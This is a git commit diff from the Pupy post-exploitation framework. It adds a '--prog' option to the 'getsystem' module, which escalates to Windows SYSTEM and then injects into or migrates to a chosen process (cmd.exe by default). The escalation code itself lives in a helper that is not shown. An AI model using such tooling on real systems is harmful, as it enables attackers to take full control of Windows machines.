add --prog arg to getsystem

This commit is contained in:
n1nj4sec 2017-04-23 14:26:25 +02:00
parent 526c9d5601
commit 645cf08123
1 changed files with 2 additions and 1 deletions

View File

@ -10,9 +10,10 @@ class GetSystem(PupyModule):
dependencies=["pupwinutils.security"]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="getsystem", description=self.__doc__)
self.arg_parser.add_argument("--prog", default="cmd.exe", help="Change the default process to create/inject into")
def run(self, args):
with redirected_stdo(self):
proc_pid=self.client.conn.modules["pupwinutils.security"].getsystem()
proc_pid=self.client.conn.modules["pupwinutils.security"].getsystem(prog=args.prog)
migrate(self, proc_pid)
self.success("got system !")